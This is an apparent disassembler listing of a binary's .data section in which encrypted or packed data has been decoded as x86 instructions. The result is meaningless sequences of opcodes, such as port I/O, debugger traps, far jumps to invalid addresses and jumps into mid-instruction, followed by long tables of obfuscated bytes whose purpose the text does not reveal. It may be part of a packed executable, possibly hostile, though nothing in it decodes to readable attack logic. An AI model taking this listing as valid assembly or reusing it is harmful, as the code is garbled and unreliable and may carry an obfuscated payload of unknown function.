		jno	short loc_4266D8
		jnp	short loc_4266F0
		push	ebp
		jp	short loc_4266FE
		jp	short loc_426697
		dec	edx
		imul	edi, [ebp+7Ah],	7Ch ; CODE XREF: .data:loc_4266FEj
		popa
		ja	short locret_4266EA
		db	67h
		pusha
		push	61h
		jns	short near ptr byte_426711


loc_426697:				; CODE XREF: .data:00426687j
		jz	short locret_426713
		test	eax, 0FEDDCCFAh
		rol	bh, 0CDh
		mov	dh, 0FDh
		int	3		; Trap to Debugger
		rcr	ebp, 1
		call	near ptr 34BCCF26h
		jno	short loc_426708 ; CODE	XREF: .data:0042670Fj
		inc	ecx


loc_4266AF:				; CODE XREF: .data:00426649j
		pop	ecx
		jo	short near ptr byte_426703
		inc	edi
		pop	edi
		inc	eax
		pop	ebx
		inc	esp
		arpl	[ebp+5Ah], bx
		push	eax
		pop	ebx
		inc	ebx
		inc	edi
		jp	short loc_426730
		jp	short loc_42665D
		setalc
		hlt
; ---------------------------------------------------------------------------
		dd 0F2CCFEEDh, 0ECF4FFF5h, 6A7A6A7Ah, 1A19032Eh, 2091E0Bh
; ---------------------------------------------------------------------------


loc_4266D8:				; CODE XREF: .data:loc_426680j
		daa
; ---------------------------------------------------------------------------
		db 0Fh,	2 dup(19h)
		dd 2B0F0D0Bh, 0BC7A717Ah
; ---------------------------------------------------------------------------


loc_4266E4:				; CODE XREF: .data:0042667Bj
		sti
		fxch	st
		icebp


loc_4266E8:				; CODE XREF: .data:00426719j
					; .data:00426757j
		fxch	st(7)

locret_4266EA:				; CODE XREF: .data:0042668Fj
		iret
; ---------------------------------------------------------------------------
		db 0DDh
		dd 7AFDD9DBh
; ---------------------------------------------------------------------------


loc_4266F0:				; CODE XREF: .data:00426682j
		jnb	short loc_42676C
		push	3F1C0D2Fh
		add	[esi], eax
		or	al, 7
		pop	ds
		jp	short near ptr loc_426774+1


loc_4266FE:				; CODE XREF: .data:00426685j
		jp	short near ptr loc_42668A+3
		retf	0F9E8h
; ---------------------------------------------------------------------------
byte_426703	db 0DAh			; CODE XREF: .data:004266B0j
		dd 0E2E9E3E4h
; ---------------------------------------------------------------------------


loc_426708:				; CODE XREF: .data:004266ACj
		cli
		fucomip	st, st
		out	dx, al
		stc
		jp	short loc_426784
		jp	short near ptr loc_4266AC+1
; ---------------------------------------------------------------------------
byte_426711	db 0DFh, 0FDh		; CODE XREF: .data:00426695j
; ---------------------------------------------------------------------------

locret_426713:				; CODE XREF: .data:loc_426697j
		db	0F0h
		lock retf
; ---------------------------------------------------------------------------
		cmc


loc_426717:				; CODE XREF: .data:00426793j
		repne clc
		rep jmp	short loc_4266E8
; ---------------------------------------------------------------------------
		dd 0DDFFF3EEh, 0B57A747Ah, 0E2C1D0F2h, 0DAD1DBDCh, 0CDD0E1C2h
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: .data:004266BEj
		sal	esp, 7Ah
		ja	short loc_4267AF
		add	[esi+64h], eax
		jnz	short loc_42677C
		insd
		pusha
		jb	short loc_4267B0
		dec	edi
		pusha
		insb
		db	64h
		inc	eax
		jp	short loc_4267B9
		jp	short loc_42679A
		add	[esi], dh
		daa
		add	al, 3Ah


loc_42674C:				; CODE XREF: .data:0042677Fj
		cmp	eax, 1F243C37h
		cmp	al, 3Dh
		xor	al, 12h
		jp	short loc_4267CD
		jp	short near ptr loc_4266E8+1
		retn
; ---------------------------------------------------------------------------
		dw 0FEF5h
		dd 0E3F5DDF4h, 0F5F7F1E3h, 7A6A7AD1h, 0C8DBFDA9h
; ---------------------------------------------------------------------------


loc_42676C:				; CODE XREF: .data:loc_4266F0j
		mov	edx, 0CCDDC8C5h
		in	al, 0CCh	; DMA controller, 8237A-5.
					; clear	byte pointer flip-flop.


loc_426774:				; CODE XREF: .data:004266FCj
		fcmovu	st, st(2)
		enter	0FFFFCCCEh, 7Ah


loc_42677A:				; CODE XREF: .data:004267EEj
		jb	short loc_4267F6


loc_42677C:				; CODE XREF: .data:00426738j
		lahf
		int	3		; Trap to Debugger
		cli
		jmp	short loc_42674C
; ---------------------------------------------------------------------------
		div	dl
		cli


loc_426784:				; CODE XREF: .data:0042670Dj
		in	eax, dx
		jp	short loc_4267F9
		jp	short loc_4267CD
		pop	ss
		and	[eax], esi
		add	ch, [ebx]
		daa
		xor	[edi], esi
		jp	short loc_426807
		jp	short loc_426717
		shl	bh, 1
		in	eax, 0EBh
		icebp


loc_42679A:				; CODE XREF: .data:00426745j
		mul	bh
		lock shr esi, 0E3h
		icebp
		icebp
		retn
; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------
		jo	short loc_426820
		cli
		test	eax, 0AD8D9592h
		xchg	eax, ebx
		xchg	eax, esp
		sahf


loc_4267AF:				; CODE XREF: .data:00426733j
		xchg	eax, ebp


loc_4267B0:				; CODE XREF: .data:0042673Cj
		lea	edi, [edx+77h]
		jp	short near ptr loc_426823+1
		sub	[esi], eax
		add	[ebx], ecx


loc_4267B9:				; CODE XREF: .data:00426743j
		cmp	[esi], al
		add	[ebx], ecx
		add	[eax], bl
		sub	dl, [edi]
		db	2Eh		; CODE XREF: .data:loc_426820j
		jp	short near ptr loc_426834+5
		jp	short loc_4267F0
		imul	ebx, [eax+4Fh],	7D4F5E4Bh


loc_4267CD:				; CODE XREF: .data:00426755j
					; .data:00426787j
		inc	ebx
		inc	esp
		dec	esi
		inc	ebp
		pop	ebp
		outsd
		push	edx
		imul	edi, [edx+69h],	7Ah
		aas
		js	short near ptr loc_426834+1
		dec	ebx
		jns	short loc_42682E
		dec	ebp
		pop	edx
		pop	eax
		dec	ebp
		push	eax
		dec	edx
		push	ecx
		pop	ebx
		push	505B5156h
		dec	eax
		jp	short loc_426862
		jp	short loc_42677A


loc_4267F0:				; CODE XREF: .data:004267C4j
		int	0EFh		; compiled BASIC - ORIGINAL INT	09 VECTOR
; ---------------------------------------------------------------------------
		dw 0DDFEh
		db 0E3h, 0E4h
; ---------------------------------------------------------------------------


loc_4267F6:				; CODE XREF: .data:loc_42677Aj
		out	dx, al
		in	eax, 0FDh


loc_4267F9:				; CODE XREF: .data:00426785j
					; .data:0042683Fj
		mov	ch, 0E4h
		in	eax, dx
		retf
; ---------------------------------------------------------------------------
		dw 747Ah
		dd 0ECCD897Ah
		db 0EFh, 0DEh, 0E0h
; ---------------------------------------------------------------------------


loc_426807:				; CODE XREF: .data:00426791j
		out	0EDh, eax
		out	0FEh, al
		fsincos
		out	0EAh, al
		enter	707Ah, 7Ah
		lahf
		jmp	far ptr	0B1ADh:0ACEDFAECh
; ---------------------------------------------------------------------------
		db 0FBh
		dd 707AF3F3h
; ---------------------------------------------------------------------------


loc_426820:				; CODE XREF: .data:004267A4j
		jp	short near ptr loc_4267C1+1
; ---------------------------------------------------------------------------
		db 0D5h
; ---------------------------------------------------------------------------


loc_426823:				; CODE XREF: .data:loc_42682Ej
					; .data:004267B3j
		rol	ebp, cl
		rcl	byte ptr [ebx-333B716Eh], cl
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------


loc_42682C:				; CODE XREF: .data:004268A4j
		jp	short near ptr loc_4268A4+1


loc_42682E:				; CODE XREF: .data:004267DCj
		jp	short loc_426823
		mov	al, 9Ch
		cmpsd
		xchg	eax, edx


loc_426834:				; CODE XREF: .data:004267D9j
					; .data:loc_4267C1j
		sbb	byte ptr [eax-4A616942h], 81h
		xchg	eax, esi
		xchg	eax, esi
		jp	short near ptr loc_4268AF+1
		jp	short near ptr loc_4267F9+2
		rep leave
		dec	ebx
		iret
; ---------------------------------------------------------------------------
		db 0DBh
; ---------------------------------------------------------------------------


loc_426847:				; CODE XREF: .data:loc_426862j
		setalc
		std
		out	dx, eax
; ---------------------------------------------------------------------------
		dw 0FEF3h
		dd 3B7A6A7Ah
		db 78h
; ---------------------------------------------------------------------------


loc_426851:				; CODE XREF: .data:004268C4j
		push	esp
		js	short near ptr loc_42689B+2
		pop	esi
		pop	edx
		dec	edi
		pop	esi
		jb	short loc_4268AF
		dec	eax
		dec	edi
		pop	edx
		push	ebp
		pop	eax
		pop	esi
		jp	short loc_4268D7


loc_426862:				; CODE XREF: .data:004267ECj
					; .data:004268C8j
		jp	short loc_426847
		mov	al, ds:0A7AAB0AFh
		movsd
		xchg	eax, ecx
		mov	word ptr [esi-756E6850h], cs
		lea	eax, [edx+edi*2+4F0C7A76h]
		arpl	[ebp+62h], ax
		db	65h
		js	short loc_4268E3
		insd
		pusha
		db	65h		; CODE XREF: .data:004268DFj
		jbe	short loc_4268EC
		jp	short near ptr loc_4268F4+5
		jp	short loc_4268AF
		imul	eax, [edi+7Dh],	46h


loc_42688B:				; CODE XREF: .data:004268B5j
		inc	ecx
		inc	esi
		inc	ecx
		pop	esp
		inc	ecx
		dec	ecx
		inc	esp
		inc	ecx
		push	edx
		dec	ebp
		jp	short loc_42690A
		jp	short loc_42689A
		outsb


loc_42689A:				; CODE XREF: .data:00426897j
		insd


loc_42689B:				; CODE XREF: .data:00426852j
		xor	dh, fs:[ebx]
		das
		db	65h
		insd
		insd
		jp	short loc_426917


loc_4268A4:				; CODE XREF: .data:loc_42682Cj
		jp	short loc_42682C
		jmp	near ptr 0B4F84C95h
; ---------------------------------------------------------------------------
		db 0A8h
		db 0E2h, 2 dup(0EAh)
; ---------------------------------------------------------------------------


loc_4268AF:				; CODE XREF: .data:00426858j
					; .data:00426885j ...
		jp	short loc_42692B
		jp	short loc_4268D7
		jp	short loc_426930
		jp	short loc_42688B
		lodsb
		jp	short near ptr loc_426934+1
		jp	short near ptr loc_4268EE+2
		push	2E7A7B7Ah
		push	cs
		jp	short near ptr loc_42693B+3
		jp	short loc_426851
		jp	short near ptr loc_426930+1
		jp	short loc_426862
		int	0F6h
		stc
		cli
		hlt
; ---------------------------------------------------------------------------
		db 0FDh
		dd 0B8F7ECB8h
		db 0F9h, 0EDh, 0ECh
; ---------------------------------------------------------------------------


loc_4268D7:				; CODE XREF: .data:00426860j
					; .data:004268B1j
		lock imul edx


loc_4268DA:				; CODE XREF: .data:004268DBj
		icebp
		loop	loc_4268DA
		jp	short near ptr loc_42692B+3
		jp	short near ptr loc_426880+1
		cmc
		into


loc_4268E3:				; CODE XREF: .data:0042687Bj
		rol	edx, 0CCh
		lds	eax, [eax-3E7F302Ch]


loc_4268EC:				; CODE XREF: .data:loc_426880j
		aad	0D4h


loc_4268EE:				; CODE XREF: .data:004268BAj
		enter	0FFFFD2CFh, 0C9h
		fcmovb	st, st(5)


loc_4268F4:				; CODE XREF: .data:00426883j
		or	byte ptr [ebp-1C111680h], 0EFh
		db	0F2h
		repne in eax, 0E3h


loc_4268FF:				; CODE XREF: .data:00426944j
		hlt
; ---------------------------------------------------------------------------
		dd 0EEE9F080h, 0CCF0808Eh
		db 0C5h, 0C1h
; ---------------------------------------------------------------------------


loc_42690A:				; CODE XREF: .data:00426895j
		rol	ebp, cl
		mov	word ptr [eax-2D2D303Dh], es
; ---------------------------------------------------------------------------
		dw 0C3C5h
		db 0D4h, 8Eh, 7Ah
; ---------------------------------------------------------------------------


loc_426917:				; CODE XREF: .data:004268A2j
		jnp	short loc_426993
		mov	al, 9Dh
		jp	short loc_426981
		jp	short near ptr loc_426922+5
		pop	eax
		db	64h
		insd


loc_426922:				; CODE XREF: .data:0042691Dj
		imul	edi, [ebx+6Dh],	6D7B2824h
		db	64h
		insd


loc_42692B:				; CODE XREF: .data:loc_4268AFj
					; .data:004268DDj
		imul	edi, [eax+ebp+4Dh], 70h


loc_426930:				; CODE XREF: .data:004268B3j
					; .data:004268C6j
		js	short loc_426993
		jp	short loc_42699D


loc_426934:				; CODE XREF: .data:004268B8j
		jl	short near ptr loc_426995+2
		db	66h
		sub	[bx+di+6Dh], dl


loc_42693B:				; CODE XREF: .data:004268C2j
		imul	edi, [edx+7Ah],	67477A7Bh
		jp	short near ptr loc_4269A6+3
		jp	short loc_4268FF
		jmp	near ptr 0CB1B4620h
; ---------------------------------------------------------------------------
		db 0DCh
		db 95h,	99h, 0CAh
; ---------------------------------------------------------------------------


loc_42694F:				; CODE XREF: .data:loc_426993j
		fcom	st(5)
		fcomp	st(2)
		int	99h		; used by BASIC	while in interpreter
		cld
		ror	ecx, 0D0h
		retf
; ---------------------------------------------------------------------------
		dw 0CDD8h
		dd 99D7D6D0h, 0CDD7D6F4h, 7A687AD1h, 0C9CCF9AAh, 0C3ECD9E3h
		dd 0D8FACFC6h, 0C9CFDEC5h, 7ACECFDEh, 34477A7Dh
		db 21h
; ---------------------------------------------------------------------------


loc_426981:				; CODE XREF: .data:0042691Bj
		and	al, 69h
		and	ebp, [ebx]
		sub	edi, [edx+7Dh]
		jp	short near ptr word_4269D6
		aas
		sub	ch, [edi]
		bound	ebp, [eax]
		and	[eax], ah
		jp	short near ptr word_426A0E


loc_426993:				; CODE XREF: .data:loc_426917j
					; .data:loc_426930j
		jp	short loc_42694F


loc_426995:				; CODE XREF: .data:loc_426934j
		mov	byte ptr [edx+20h], 7Ah
		retf	0A98Bh
; ---------------------------------------------------------------------------
		db 0A9h
; ---------------------------------------------------------------------------


loc_42699D:				; CODE XREF: .data:00426932j
		movsd
		mov	edi, 84EABEA4h
		stosd
		cmpsd
		scasd


loc_4269A6:				; CODE XREF: .data:00426942j
		jmp	near ptr 0F9DCEF45h
; ---------------------------------------------------------------------------
		db 0EAh
		dd 0BCB8AF99h, 99E9B8AFh, 0EA9A9E87h, 0BCB8AF99h, 99E9B8AFh
		dd 0EA9A9E87h, 0BAB9A38Eh, 0EAB3ABA6h, 0AFA7AB84h, 9E8799E9h
		db 9Ah,	0EAh
word_4269D6	dw 0A78Fh		; CODE XREF: .data:00426988j
		dd 0EAA6A3ABh, 0B8AEAE8Bh, 0E9B9B9AFh, 0F99A859Ah, 0AFB99FEAh
		dd 0AB84EAB8h, 0E9E9AFA7h, 317A747Ah, 2617E61h,	42506111h
		dd 435E4642h, 437A0355h, 170B587Ah
		db 1Eh,	0Ch
word_426A0E	dw 190Fh		; CODE XREF: .data:00426991j
		dd 15041D0Ah, 372A3B31h, 2C3E372Bh, 2C361104h, 3D362A3Dh
		dd 3B19782Ch, 362D373Bh, 3915782Ch, 3D3F3936h, 3B19042Ah
		dd 362D373Bh, 7D042B2Ch, 7A206068h, 1B2E1F29h, 0D351F11h
		dd 9081F14h, 2A0A1312h,	130C1308h, 1F1D1F16h, 0E77A7F7Ah
		dd 94C294C2h, 7A7F7ABBh, 0A4F2A481h, 797ADDF2h,	7620057Ah
		dd 7A7E7A2Fh, 441D5B7Eh, 7A7B7A22h, 7B7AE69Ah, 7AE09C7Ah
		dd 0B8F17A63h, 0B2A5B4BFh, 0D1BCBCBEh, 878394A2h, 0A1D18394h
		dd 86828290h, 8295839Eh, 0F17A7B7Ah, 7A7F7A8Dh,	8BA4F2D7h
		dd 7F7AA4F2h, 7D2B0E7Ah, 7A7D2B52h, 0AD887A7Eh,	7AA2D4FBh
		dd 1F3E7A7Bh, 8B7A7B7Ah, 7A7E7AA1h, 54545054h, 7A7B7A54h
		dd 7B7A7556h, 7A36157Ah, 93B07A7Bh, 0B17A7D7Ah,	0C1C5C5D9h
		dd 7A9E9E8Bh, 5A797A7Bh, 217A7D7Ah, 51555549h, 7A0E0E1Bh
		dd 0F3907E71h, 0F8F3F5F8h, 0E2E0FEF5h, 0BEE3E3F5h, 0FFF6FEF9h
		dd 0FCFFF7B3h, 0FCFFE0F4h, 0FFF3BEFCh, 0FEF9B3FDh, 0FCFFF7E4h
		dd 0FFF3BEF4h, 0E7E7B3FDh, 0F2F3BEE7h, 0E5E2BEE2h, 0E7E7E7B3h
		dd 0F3E6F1BEh, 0FBF3F5F8h, 0B3E5E2BEh, 0E2FFE4E3h, 0E9F1E0FDh
		dd 0FDFFF3BEh, 0E5E2F3B3h, 0BEE0FFE4h, 0FEB3E5FEh, 0F5BEE7F5h
		dd 0F3BEF7F7h, 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h
		dd 0FFF3BEE3h, 0E6F1B3FDh, 0F3F5F8F3h, 0E5E2BEFBh, 0F3E6F1B3h
		dd 0FBF3F5F8h, 0EAF9F2BEh, 0E7E7E7B3h, 0F9F2F2BEh, 0E5E2BEFEh
		dd 0E3F1FDB3h, 0BDE2F5E4h, 0FFF3BEE8h, 0E7E7B3FDh, 0FFE0BEE7h
		dd 0E3F9EAFEh, 0E3FDF1F3h, 0FDFFF3BEh, 0E7E7E7B3h, 0FEF1F2BEh
		dd 0F1F2BDFBh, 0F5E5E1FEh, 0FEF1F3BDh, 0BEF1F4F1h, 0E7B3F1F3h
		dd 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h, 0E7E7B3FDh
		dd 0FDF2BEE7h, 0FFF3BEFFh, 0F1E0B3FDh, 0FCF1E0E9h, 0FDFFF3BEh
		dd 0F1F2F5B3h, 0FFF3BEE9h, 0E7E7B3FDh, 0F1F2BEE7h, 0F6FFFBFEh
		dd 0E5F4F1FDh, 0F3BEF1E2h, 0E7B3FDFFh, 0F3BEE7E7h, 0BEF3F2F9h
		dd 0B3FDFFF3h, 0BEE7E7E7h, 0BEF2E4E6h, 0E7B3E5E2h, 0F3BEE7E7h
		dd 0FEF1F2E7h, 0FFF3BEFBh, 0FFF7B3FDh, 0FFE0F4FCh, 0F3BEFCFCh
		dd 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h
		dd 0E7E7B3FDh, 0FDFDBEE7h, 0FBFEF1F2h, 0B3E5E2BEh, 0BEE7E7E7h
		dd 0F1F9FEE5h, 0E5E2E4E3h, 0E5E2BEFDh, 0FCFFF7B3h, 0FCFFE0F4h
		dd 0FFF3BEFCh, 0E7E7B3FDh, 0FFE0BEE7h, 0E3F9EAFEh, 0E3FDF1F3h
		dd 0FDFFF3BEh, 0E7E7E7B3h, 0E2FFE7BEh, 0F1F2F4FCh, 0FFBEFBFEh
		dd 0E7B3F7E2h, 0F3BEE7E7h, 0F9F4FEF1h, 0F5E4F1F4h, 0F9E2F5E6h
		dd 0E2F5F9F6h, 0FDFFF3BEh, 0E7E7E7B3h, 0FEFFE0BEh, 0F3E3F9EAh
		dd 0BEE3FDF1h, 0B3FDFFF3h, 0BEE7E7E7h, 0FBFEF1F2h, 0FEF9F6FFh
		dd 0BEF1F9F4h, 0B3FDFFF3h, 0BEE7E7E7h, 0F1F2F3F9h, 0E2BEFBFEh
		dd 0E6F1B3E5h, 0F3F5F8F3h, 0E5E2BEFBh, 0E7E7E7B3h, 0FEF5E6BEh
		dd 0E3E2FFF4h, 0F5FDF1FEh, 0B3E3E7BEh, 0BEE7E7E7h, 0BEF2FDFBh
		dd 0E7B3E5E2h, 0FEBEE7E7h, 0F1FDE4F5h, 0E4E3F9F7h, 0F3BEE2F5h
		dd 0FBB3FDFFh, 0F1FBE6F1h, 0FEF5F3EAh, 0BEE2F5E4h, 0B3FDFFF3h
		dd 0BEE7E7E7h, 0F4FEF5E6h, 0FEE3E2FFh, 0BEF5FDF1h, 0FDB3E3E7h
		dd 0FCFEFFE9h, 0F1F5FEF9h, 0E5FFF3F3h, 0A2E3E4FEh, 0F2F2F1BEh
		dd 0F1FEE9F5h, 0FEFFF9E4h, 0F3BEFCF1h, 0FBE5BEFFh, 0FCFEFFB3h
		dd 0BDF5FEF9h, 0F9E3E5F2h, 0E3E3F5FEh, 0FFFCFCBEh, 0E4E3F4E9h
		dd 0F3BEF2E3h, 0FBE5BEFFh, 0E7E7E7B3h, 0FCFCF1BEh, 0F2F1F8F1h
		dd 0F1F2F4F1h, 0F3BEFBFEh, 0E7B3FDFFh, 0E2BEE7E7h, 0F3BEF3F2h
		dd 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h
		dd 0E7E7B3FDh, 0F8BEA1E7h, 0BEF3F2E3h, 0FBB3F1F3h, 0F5E2F2F7h
		dd 0F3E8F1FCh, 0BEF2E5FCh, 0E9B3E5E2h, 0FFF2FDF1h, 0EAF9F2BEh
		dd 0F4F9FBB3h, 0F2BDE3FFh, 0BEFBFEF1h, 0E7B3E5E2h, 0FCBEE7E7h
		dd 0F9F4F3F2h, 0E4F3F5E2h, 0E5F1FCBEh, 0E4FEF5E2h, 0F2FEF1F9h
		dd 0BEFBFEF1h, 0F2B3F1F3h, 0FCF3E2F1h, 0BEE3E9F1h, 0B3FDFFF3h
		dd 0F1E4FFE4h, 0F6E9FCFCh, 0F2F5F5E2h, 0F9FBFEF1h, 0F3BEF7FEh
		dd 0E7B3FDFFh, 0FEBEE7E7h, 0F3BEF3F2h, 0A3A5B3F1h, 0FBFEF1F2h
		dd 0FDFFF3BEh, 0E7E7E7B3h, 0FEF5E6BEh, 0E3E2FFF4h, 0F5FDF1FEh
		dd 0B3FEE6BEh, 0BEE7E7E7h, 0BDF2A2F2h, 0E3E5E2E4h, 0FFF3BEE4h
		dd 0E7E7B3FDh, 0F5E6BEE7h, 0E2FFF4FEh, 0FDF1FEE3h, 0E3E7BEF5h
		dd 0F5E0FFB3h, 0FEF1F2FEh, 0FFF3BEFBh, 0F1E4B3FDh, 0F5FEBDE4h
		dd 0F1F2E4F6h, 0E2BEFBFEh, 0F5E3B3E5h, 0F2F1FCF3h, 0B3E5E2BEh
		dd 0E5F3F5E3h, 0E9E4F9E2h, 0BEF2F1FCh, 0F6B3E5E2h, 0F1F8E4F5h
		dd 0F2BEF4E2h, 0F7B3EAF9h, 0E8FEFFE2h, 0FEF1FCE0h, 0BEE3E4F5h
		dd 0E6B3E5E2h, 0FFF4FEF5h, 0F1FEE3E2h, 0E6BEF5FDh, 7E7AB3FEh
		dd 3520057Ah, 687A5D3Dh, 736757Ah, 2001050Ch, 1A07051Bh
		dd 1161001h, 14011431h,	9B7A717Ah, 0EBE2E9F8h, 0B5A9A8EFh
		dd 7AF7F7FFh, 17747A71h, 40D06h, 105A4647h, 697A1818h
		dd 6341067Ah, 74734572h, 72686374h, 65697456h, 4F757563h
		dd 7A737A62h, 0E4FFDA8Dh, 0E4CBE8F9h, 6B7AE8E1h, 9BB9FE7Ah
		dd 8D97BA8Ah, 9B8CB895h, 9F8EAD9Bh, 7ABF9B9Dh, 0EEA97A6Ch
		dd 0C7ECDDCCh, 0C6DBC0DFh, 0C7CCC4C7h, 0DBDDFADDh, 0DACEC7C0h
		dd 7A697AE8h, 5B4A682Fh, 5B5C567Ch, 466B424Ah, 5B4C4A5Dh
		dd 6E565D40h, 707A767Ah, 24041537h, 20001D15h, 31180411h
		dd 0FF7A727Ah, 8D8B8C93h, 0A8919A93h, 0C67A747Ah, 8AB2A381h
		dd 0AAA7A5A9h, 0A0A88FA3h, 777A87A9h, 0D2F0B77Ah, 0DEC5F3C3h
		dd 0CEE3D2C1h, 7AF6D2C7h, 0BFFC7A71h, 998F9390h, 98929DB4h
		dd 747A9990h, 0B98FDC7Ah, 0B0B59AA8h, 0B5B38CB9h, 0AEB9A8B2h
		dd 5B7A767Ah, 3F3A3417h, 29393217h, 1A22293Ah, 477A777Ah
		dd 1D2B3315h, 0A283522h, 35282A22h, 7A7D7A3Eh, 23241A4Dh
		dd 2E283508h, 0C47A707Ah, 0B0ADBC81h, 0A1B6AC90h, 6E7AA0A5h
		dd 43642D7Ah, 415F4859h, 48464E42h, 4E436449h, 4840485Fh
		dd 777A5943h, 2C03457Ah, 200B212Bh, 2C03313Dh, 7A042029h
		dd 0F0B77A77h, 0CEE4C3D2h, 0DAD2C3C4h, 0D2DADEE3h, 657A767Ah
		dd 31110022h, 260E060Ch, 110B100Ah, 0B77A6A7Ah,	0FAC3D2F0h
		dd 0DBC2D3D8h, 0D9D6FFD2h, 0F6D2DBD3h, 5D7A717Ah, 292F340Bh
		dd 1B313C28h, 7A38382Fh, 5A197A71h, 6D787C6Bh, 75705F7Ch
		dd 707A587Ch, 0F7C8877Ah, 0F2CAE9E2h, 0C6FFE2F3h, 0FE7A717Ah
		dd 0B88A9BB9h, 0AD9B9297h, 7A9B8497h, 7417A71h,	0D242433h
		dd 20332328h, 767A3833h, 0E2DD8B7Ah, 0EAFEFFF9h, 0E7E7CAE7h
		dd 6A7AE8E4h, 3614537Ah, 3E3C1027h, 36272623h, 3E321D21h
		dd 717A1236h, 3C034C7Ah, 3E1C2229h, 3F292F23h, 7A6D7A3Fh
		dd 0F3E4D096h, 0E0F8D3F3h, 0F8F9E4FFh, 0E2F8F3FBh, 0FFE4E2C5h
		dd 0D7E5F1F8h, 0C17A747Ah, 0A5AFA887h, 0B2B3A887h, 0ADA887B5h
		dd 767A80A4h, 0B584C77Ah, 0A2B3A6A2h, 0A2B3B28Ah, 6E7A86BFh
		dd 0A582CB7Ah, 0A7B9AEBFh, 0AEA0A8A4h, 0A8AE8FAFh, 0AEA6AEB9h
		dd 6E7ABFA5h, 0E7C88E7Ah, 0E7DAEBE2h, 0E1DAEBE3h, 0FAFDF7DDh
		dd 0E7DAE3EBh, 777AEBE3h, 94B6F17Ah, 8394A785h,	9F9E9882h
		dd 7AB089B4h, 793A7A73h, 7C434A55h, 7B5F5653h, 0E57A6F7Ah
		dd 0B39180A2h, 8890898Ah, 838BAC80h, 8488978Ah,	8B8A8C91h
		dd 7A727AA4h, 5E5A6D3Fh, 5356795Bh, 7A697A5Ah, 8E83BDEAh
		dd 8B82A98Fh, 0A785BE98h, 839E869Fh, 8F9E93A8h,	747A757Ah
		dd 4191B37h, 32110615h,	2011181Dh, 7A11191Dh, 6C2B7A6Bh
		dd 536E5F4Eh, 44685F42h
		dd 437F4E4Fh, 4F4A4E59h, 717A697Ah, 51D043Ch, 5083318h
		dd 261E2514h, 32141518h, 7A031019h, 0C78B7A73h,	0E7EAE8E4h
		dd 0EEEEF9CDh, 0F57A697Ah, 819C94A2h, 0A6879AB3h, 99929B9Ch
		dd 9F97BA90h, 7A819690h, 7D3A7A68h, 55774E5Fh, 5F564F5Eh
		dd 5F56537Ch, 5F575B74h, 7A717A7Bh, 444D6C28h, 6E4D5C4Dh
		dd 694D4441h, 877A767Ah, 0C2F3E2D4h, 0F5E8F5F5h, 0E2E3E8CAh
		dd 0CB7A737Ah, 0AFA5A28Dh, 0B8A4A788h, 7A707AAEh, 5B577438h
		dd 54795459h, 7A5B5754h, 0A4E37A68h, 96A09786h,	8D869191h
		dd 918BB797h, 0AA878286h, 7A7C7A87h, 53265B7Eh,	7A5F265Bh
		dd 0F2AE7A7Dh, 0CA8084DEh, 7C7AC2C2h, 2A2D5E7Ah, 2A3F3D2Ch
		dd 0B7A7C7Ah, 68666E66h, 727A727Bh, 7570067Ah, 686F7476h
		dd 7D7A6072h, 5D5E2D7Ah, 5943445Fh, 7A7D7A4Bh, 908A91E5h
		dd 97809595h, 6C7A7E7Ah, 503180Dh, 0C27A7C7Ah, 0AEAEA3AFh
		dd 7F7AA1ADh, 7475067Ah, 7A626867h, 1D427A7Ch, 27272E31h
		dd 7A7E7A32h, 0BAADB9DFh, 7A7E7ABAh, 939C8FFDh,	7A7C7A99h
		dd 0FFF7FF92h, 7AE2FFF1h, 0BCCF7A7Ch, 0BFACBDBBh, 7A7C7AB6h
		dd 0FFF7FF92h, 7AE6F7E1h, 0C0A37A70h, 0CFC7D7D1h, 0CFC78DCFh
		dd 7A707ACFh, 0F7F1E083h, 0ADEFEFE7h, 7AEFEFE7h, 7AE47A7Ah
		dd 54717A7Fh, 2542D02h,	877A7F7Ah, 0A2DBF4A2h, 7A7E7AF4h
		dd 5E712702h, 7A7E7A28h, 79206643h, 7A6E7A1Fh, 0BA9D9ECEh
		dd 8DABBCA1h, 0BAAFABBCh, 0BDA087ABh, 0ADA0AFBAh, 7A717AABh
		dd 3B3C3F4Fh, 2C2A3D20h, 23232B61h, 197A717Ah, 766D6A69h
		dd 377A7C6Bh, 7A75757Dh, 0CAA17A7Ch, 0D78CD0CAh, 7A727AD9h
		dd 0C6EABC99h, 0BCE1EDF4h, 7A6B7AECh, 0D2C8EFA6h, 0C3C8D4C3h
		dd 0DEE386D2h, 0D4C9CAD6h, 6A7AD4C3h, 9289DA7Ah, 9CAEBF9Dh
		dd 0BFBEB6B5h, 0AEBB8AA8h, 717A9BB2h, 607B087Ah, 3B64646Dh
		dd 646C263Ah, 7A717A64h, 414C5724h, 16174848h, 4848400Ah
		dd 437A7B7Ah, 7A7F7A1Fh, 0F0F5BF91h, 6C7AF0E5h,	7F50137Ah
		dd 3378707Ah, 76707D5Ch, 337C4733h, 677D7C50h, 76667D7Ah
		dd 937A7C7Ah, 0C7C7C6D1h, 647ADDDCh, 34296C7Ah,	2D3E253Ch
		dd 22232538h, 382D284Ch, 66666629h, 4C21382Dh, 4C22253Ch
		dd 2928232Fh, 697A7C7Ah, 3D283D3Ah, 7A7A2A20h, 7E7A6A7Ah
		dd 6766237Ah, 7C7A776Ah, 0C0E3C7Ah, 490E1219h, 0E07A7E7Ah
		dd 95D2CEC5h, 0C27A7A7Ah, 37A727Ah, 414E4C40h, 5B4C414Ch
		dd 3C7A7A7Ah, 0C97A727Ah, 8B84868Ah, 91868B86h,	477A7C7Ah
		dd 13061314h, 147A040Eh, 457E2B7Ah, 4E47494Ah, 0B445F0Bh
		dd 435F5E4Ah, 51425944h, 0E21054Eh, 595B0B58h, 584E4844h
		dd 4C454258h, 454E480Bh, 0B594E5Fh, 5E0B5842h, 47494A45h
		dd 445F0B4Eh, 5F5E4A0Bh, 42594443h, 520B4E51h, 0B595E44h
		dd 4F594A48h, 5580E0Bh,	404A6621h, 44480B4Eh, 484E5959h
		dd 4544425Fh, 454A0B58h, 595F0B4Fh, 4C4A0B52h, 545424Ah
